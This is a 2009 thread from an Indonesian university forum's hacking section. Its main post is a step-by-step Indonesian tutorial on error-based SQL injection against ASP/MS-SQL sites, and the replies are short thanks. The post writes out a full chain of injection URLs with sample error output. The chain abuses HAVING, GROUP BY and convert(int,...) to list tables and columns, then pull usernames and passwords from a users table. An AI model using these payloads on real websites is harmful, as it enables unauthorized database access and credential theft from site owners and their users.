UNKLAB FORUM
Would you like to react to this message? Create an account in a few clicks or log in to continue.

UNKLAB FORUM

Forum Mahasiswa & Alumni Universitas Klabat
 
HomeSearchLatest imagesRegisterLog in
Bagi Guest atau user yang tidak terdaftar, mohon maaf karena ada beberapa thread tidak bisa diakses oleh guest, oleh karena itu, sebaiknya anda registrasi terlebih untuk bisa mengakses penuh forum ini. Baca dulu peraturan forum ini. Terima Kasih
Navigation
 Index
 Memberlist
 Profile
 FAQ
 Search
Search
 
 

Display results as :
 
Rechercher Advanced Search
Latest topics
» Lowongan Pekerjaan PT. PNM (Persero)
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeWed Nov 08, 2017 7:01 pm by CLiFF

» .NET Programming
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeTue Mar 15, 2011 6:49 pm by Marvin07

» Bagaimana Menginstal OS dari USB???
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeThu Feb 10, 2011 9:55 pm by unaitech

» Automatic Installation BackTrack 3 Final | Dual Booting
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeThu Feb 10, 2011 9:53 pm by unaitech

» simple hacking test
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeThu Feb 10, 2011 7:38 pm by and213

» [tutor] How To Patch SQL Injection Bug
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeThu Feb 10, 2011 9:52 am by unaitech

» what ur distro..?
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeThu Feb 10, 2011 9:48 am by unaitech

» netcut source-code
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeThu Feb 10, 2011 9:44 am by unaitech

» Ragnarok Online
Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeMon Jan 31, 2011 1:57 pm by Marvin07

FRIENDS
Ads

    No ads available.



     

     Hacking SQL Injection in asp (a.k.a MS-SQL Injection)

    Go down 
    2 posters
    AuthorMessage
    ZaNo
    Whiz
    Whiz
    ZaNo


    Male Number of posts : 245
    Location : trace me if u can..
    Points : 222
    Registration date : 2009-02-02

    Hacking SQL Injection in asp (a.k.a MS-SQL Injection) Empty
    PostSubject: Hacking SQL Injection in asp (a.k.a MS-SQL Injection)   Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeSun Mar 08, 2009 11:36 pm

    Newbie nich mo coba bikin tutorial tentang SQL Injection in .asp (MS-SQL Injection)
    Langsung aja ke langkah-langkahnya yah..

    Test situs yang vulnerable SQL Injection
    Seperti biasa, tambahkan petik di akhir URL, contoh:
    Code:
    http://www.example.com/news.asp?id=10'
    Situs menandakan vulnerable jika muncul error seperti:
    Code:
    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the   character string ''.
    /news.asp, line 52

    Inject command having 1=1-- diakhir URL. contoh:
    Code:
    http://www.example.com/page.asp?id=1' HAVING 1=1--
    Error muncul kira-kira seperti ini:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
    Pesan error menunjukkan bahwa nama table adalah "news" dan sebuah nama column "news_id"

    Untuk mencari column yang lain di dalam table, gunakan perintah GROUP BY. contoh:
    Code:
    http://www.example.com/page.asp?id=1' GROUP BY news.news_id HAVING 1=1--
    Errornya akan seperti:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_author' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
    Pesan error menunjukkan bahwa nama column yang kedua adalah "news_author".

    Untuk mencari column yang selanjutnya, tambahkan nama column yang kedua dari query sebelumnya. contoh:
    Code:
    http://www.example.com/page.asp?id=1' GROUP BY news.news_id,news.news_author HAVING 1=1--
    Akan muncul error:
    Code:
    Microsoft OLE DB Provider for SQL Server error '80040e14'
    [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
    Error menunjukkan nama column yang ketiga adalah "news_detail"
    Untuk mencari nama column yang seterusnya, lakukan seperti langkah selanjutnya dengan menambahkan urutan nama-nama column.
    Jika pada akhirnya tidak muncul error, berarti sudah tidak ada lagi column yang di dalam table.

    Selanjutnya kita akan menggunakan metode yang lain untuk memanfaatkan error MSSQL dengan command "convert".
    Contoh command yang akan ditambahkan diakhir URL (setelah parameter id) adalah: +and+1=convert(int,perintah)--
    contoh kita akan melihat versi server:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,@@version)--
    Pesan error yang muncul:
    Code:
    Microsoft SQL Native Client error '80040e07'
    Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005       Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int.
    /page.asp, line 9
    Dari error tersebut kita mengetahui versi Microsoft SQL dan OS-nya.

    Untuk mencari nama databasenya
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,db_name())--
    Error yang dihasilkan:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
    /page.asp, line 9
    Berdasarkan error maka dapat diketahui bahwa nama database adalah "cwhdb"

    Untuk melihat user yang sementara menggunakan database gunakan command user_name(). contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,user_name())--
    Error yang dihasilkan:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int.
    /showthread.asp, line 9
    Error menunjukkan bahwa user adalah "sa"

    Sekarang adalah bagaimana mencari nama table, nama column, dan isinya, dari table information_schema. Perintahnya: +and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))-- >>contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--
    Error yang dihasilkan:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int.
    /page.asp, line 9
    Dari query tersebut, dapat diketahui bahwa "threads" sebagai tipe data nvarchar dan tidak bisa diconvert ke data tipe int, maka menghasilkan error.
    Dan dengan error tersebut, menunjukkan table yang pertama adalah table "threads".
    Selanjutnya mencari table yang kedua. Dengan menambahkan perintah WHERE. contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads')))--
    /*Penjelasan perintah tersebut, yaitu kita akan mengambil informasi dari table information_schema dimana/dengan nama table tidak/bukan "threads". Atau dengan kata lain kita akan mencari table yang selain table "threads"*/
    Maka akan muncul error:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int.
    /page.asp, line 9

    Error menunjukkan table yang kedua adalah "users". Untuk mencari table yang lain, hanya tambahkan nama table yang telah diketahui. contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads','users')))--
    Error yang muncul:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int.
    /page.asp, line 9
    Yang berarti nama table yang ketiga adalah table "forums"
    Namun jika error yang tampil seperti ini:
    Code:
    ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
    /page.asp, line 10
    Maka menandakan bahwa semua table telah ditampilkan dan sudah tidak ada lagi table yang lain.

    Selanjutnya mencari nama column dari table. Metodenya hampir sama dengan yang sebelumnya, yaitu masih mencari dari "information_schema" namun perintahnya dari "information_schema.tables" berubah menjadi "information_schema.columns" dan dari "table_name" berubah menjadi "column_name". contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--
    Menampilkan error:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int.
    /showthread.asp, line 9
    Dan berdasarkan error diketahui isi column pertama dari table "users" adalah column "uname".
    Untuk mencari column yang lain gunakan perintah di akhir URL: and+column_name+not+in+('uname'). contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname')))--
    Menghasilkan error:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int.
    /showthread.asp, line 9
    Berdasarkan error, column yang kedua adalah column "upass" yang terdapat dari table "user".
    Untuk mencari column yang lain, tambahkan nama column yang telah kita ketahui sebelumnya. contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname','upass')))--
    Muncul error:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int.
    /showthread.asp, line 9
    Berarti column yang ketiga adalah column "email".
    Tetapi jika error yang dihasilkan adalah:
    Code:
    ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
    /page.asp, line 10
    Itu menandakan bahwa sudah tidak ada lagi column yang lain.

    Last step, adalah mencari isi dari column yang telah kita ketahui. Seperti ini:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users))--
    Error yang muncul:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int.
    /page.asp, line 9
    Berarti isi dari column "uname" yang berada di table "users" datanya adalah "admin".
    Untuk mencari user yang lain, gunakan data yang telah kita ketahui. contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--
    Jika error yang muncul:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwh' to data type int.
    /page.asp, line 9
    Berarti username yang lain adalah "cwh". Dan untuk mencari user yang berikutnya, tambahkan username yang telah diketahui. contoh:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--
    Dan jika errornya:
    Code:
    ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
    /showthread.asp, line 10
    Berarti hanya ada 2 user yaitu "admin" dan "cwh".

    Dan untuk mencari passwordnya, perintahnya seperti:
    Code:
    http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+upass+from+users))--
    Dan jika error yang ditampilkan adalah:
    Code:
    Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value '123' to data type int.
    /page.asp, line 9
    Maka isi dari data yang pertama di column "upass" adalah "123".
    Dari hasil yang kita dapat diatas, isi data pertama dari column "uname" adalah "admin", dan isi data pertama dari column "upass" adalah "123".
    Berarti usernamenya adalah "admin" dan passwordnya "123"

    Sebenarnya masih ada cara yang lebih cepet..
    Nanti tanyakan pada yang master2 disini Very Happy
    Selesai deh tutorialnya (fyugh..!), moga dapet dimengerti..

    Thanks to:
    Jesus Christ for giving me a greatest thing called brain
    My Parents for caring me who usually do what i wanna do
    My Friends for the friendship --> jurmon, darkz09, JcK
    Reader of this tutz

    Quote :
    Sorry bahasa aneh, coz ini tutorial qt da post di EcHo, jd nda pake bahasa lokal
    Back to top Go down
    ZaNo
    Whiz
    Whiz
    ZaNo


    Male Number of posts : 245
    Location : trace me if u can..
    Points : 222
    Registration date : 2009-02-02

    Hacking SQL Injection in asp (a.k.a MS-SQL Injection) Empty
    PostSubject: Re: Hacking SQL Injection in asp (a.k.a MS-SQL Injection)   Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeSun Mar 08, 2009 11:37 pm

    g4pt3k wrote:
    Quote :
    Sorry bahasa aneh, coz ini tutorial qt da post di EcHo, jd nda pake bahasa lokal
    Hacking SQL Injection in asp (a.k.a MS-SQL Injection) 459391
    Back to top Go down
    jzt.nwbie
    Administrator
    Administrator
    jzt.nwbie


    Male Number of posts : 529
    Location : /home/jzt.nwbie
    Points : 109
    Registration date : 2008-09-16

    Hacking SQL Injection in asp (a.k.a MS-SQL Injection) Empty
    PostSubject: Re: Hacking SQL Injection in asp (a.k.a MS-SQL Injection)   Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeWed Mar 11, 2009 4:43 am

    nice info...
    atiq prnah baca ini di echo jga....

    bztREGARDS 4 u..
    Back to top Go down
    ZaNo
    Whiz
    Whiz
    ZaNo


    Male Number of posts : 245
    Location : trace me if u can..
    Points : 222
    Registration date : 2009-02-02

    Hacking SQL Injection in asp (a.k.a MS-SQL Injection) Empty
    PostSubject: Re: Hacking SQL Injection in asp (a.k.a MS-SQL Injection)   Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitimeWed Mar 11, 2009 11:05 pm

    qt le kwa da post ini di echo..
    Laughing
    Back to top Go down
    Sponsored content





    Hacking SQL Injection in asp (a.k.a MS-SQL Injection) Empty
    PostSubject: Re: Hacking SQL Injection in asp (a.k.a MS-SQL Injection)   Hacking SQL Injection in asp (a.k.a MS-SQL Injection) I_icon_minitime

    Back to top Go down
     
    Hacking SQL Injection in asp (a.k.a MS-SQL Injection)
    Back to top 
    Page 1 of 1
     Similar topics
    -
    » [tutor] How To Patch SQL Injection Bug
    » BUG SQL INJECTION PADA UNKLAB
    » [VIDEO TUTORIAL] How To + SQL Injection + Upload Shell

    Permissions in this forum:You cannot reply to topics in this forum
    UNKLAB FORUM :: KLABAT UNIVERSITY :: Computer Science Faculty :: Computer Security :: Hacking, Cracking, Etc.-
    Jump to: